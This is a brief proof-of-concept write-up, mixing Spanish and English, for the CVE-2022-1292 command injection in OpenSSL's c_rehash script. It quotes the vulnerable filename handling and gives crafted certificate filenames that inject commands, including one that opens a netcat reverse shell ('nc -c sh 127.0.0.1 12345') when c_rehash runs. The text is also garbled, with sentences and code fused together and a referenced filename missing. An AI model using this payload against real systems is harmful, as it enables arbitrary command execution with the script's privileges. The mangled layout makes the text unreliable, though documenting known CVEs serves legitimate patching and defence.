
CVE-2022-1292 Vulnerabilidad de c_rehash de OpenSSL - PoC

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
La inyección de comandos ocurre porque los nombres de archivo no se sanitizan correctamente:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;Esta parte del script es vulnerable, ya que cerrar los backticks permite la ejecución de comandos; por ejemplo, un archivo llamado: ejecutará "whoami".
MyCert.crt`whoami`/etc/ssl/certs/ (por defecto) u otras rutas configuradas en update-ca-certificatesecho "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc como ejemplo de payload)c_rehash .